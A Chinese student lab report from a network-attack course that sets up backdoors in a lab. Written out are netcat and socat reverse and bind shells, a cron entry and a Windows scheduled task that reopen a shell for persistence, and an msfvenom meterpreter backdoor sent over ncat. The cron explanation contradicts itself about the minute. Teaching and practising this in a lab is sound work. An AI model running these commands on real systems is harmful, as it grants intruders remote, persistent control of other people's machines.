2018-2019-2 网络对抗技术 20165239 Exp2 后门原理与实践
一、实验要求 (3.5分)
(1)使用netcat获取主机操作Shell,cron启动 (0.5分)
(2)使用socat获取主机操作Shell, 任务计划启动 (0.5分)
(3)使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell(0.5分)
(4)使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权 (2分)
实验准备
windows环境下下载老师提供的ncat和socat
二:
1.Windows获得Linux Shell
(1)命令 ipconfig 查看win7的IP地址,之后,win7本地用命令 ncat.exe -l -p5239监听5239端口,等待其它机器连接该端口
2,Kali用命令 nc 192.168.28.166 5239 -e /bin/sh 反弹连接win10,提供自己的shell
2.Linux获得Windows Shell
(1)与上面步骤相似,linux下 ifconfig 查询IP地址,nc设置监听本地5239端口 nc -l -p 5239
2)win7反弹连接linux,提供自己的shell(cmd) ncat.exe -e cmd.exe 192.168.28.1815239
(3)Linux下看到Windows的命令提示,获得win7的shell,可任意执行指令
3.nc传输数据
(1)win7监听本地7777端口 ncat.exe -l 5239
4.nc定时启动
Cron是Linux下的定时任务,每一分钟运行一次,根据配置文件执行预设的指令。
(1)win7监听本地7777端口 ncat.exe -l -p 5239
(2)crontab指令增加一条定时任务 crontab -e 。因为是第一次编辑,所以会提示选择编辑器。选择“3”,利用最基本的vim编辑器进行编辑( i 进入编辑模式),在最后一行添加任务 22 * * * * /bin/netcat 192.168.28.166 7777 -e /bin/sh 。(编辑完成后, esc键 退出编辑模式, :wq 保存并退出)
说明:为何是55 ? => 最后一行的意思是在每个小时的第22分钟执行后面的那条指令
(3) crontab -l 可查看配置的任务
(4)当时间到了第55分时,win获得linux的shell,可执行相关命令
三、使用socat获取主机操作Shell, 任务计划启动
1.在Windows系统下,打开:控制面板->系统和安全->管理工具->任务计划程序,在操作选项(菜单栏)中,选择“创建任务”,填写任务名称007,之后,新建触发器,选择开始任务时间为:工作站锁定时。
2.新建操作,选择启动的程序为socat.exe,参数项填为 tcp-listen:5239 exec:cmd.exe,pty,stderr ,含义为:把cmd.exe绑定到端口号,同时把cmd.exe的stderr重定向到stdout上
3.创建完成之后,按 Win+L 快捷键锁定计算机,再次打开时,可以发现之前创建的任务已经开始运行
4.在kali终端输入指令 socat - tcp:192.168.28.166:5239 (注:socat里面,必须有两个流,这里的第一个流[参数-]代表标准的输入输出,第二个流表示连接到Win7主机的5239端口),此时可发现已经成功获得了一个windows shell
四、使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.28.181 LPORT=5239 -f exe > 007_backdoor.exe
2.通过nc指令将生成的后门程序传送到Windows主机上,输入后需要在Linux上输入指令
先进行:win7上运行ncat命令,等待接收007_backdoor.exe
ncat.exe -lv 5239 > 007_backdoor.exe
后进行:kali上运行ncat命令,传输007_backdoor.exe到win7主机(IP:192.168.28.166)上
ncat -nv 192.168.28.166 5239< 007_backdoor.exe
3.效果
四:实验感想
吸取上次的实验教训,这次我提前问同学,实验的大致过程,然后自己慢慢做,不会的问同学。
在做实验三时由于没有调好端口,设置错误,经排查发现是端口没有仔细看写错了,最后改过来了,经过这次实验我还应该更加仔细,认真细心。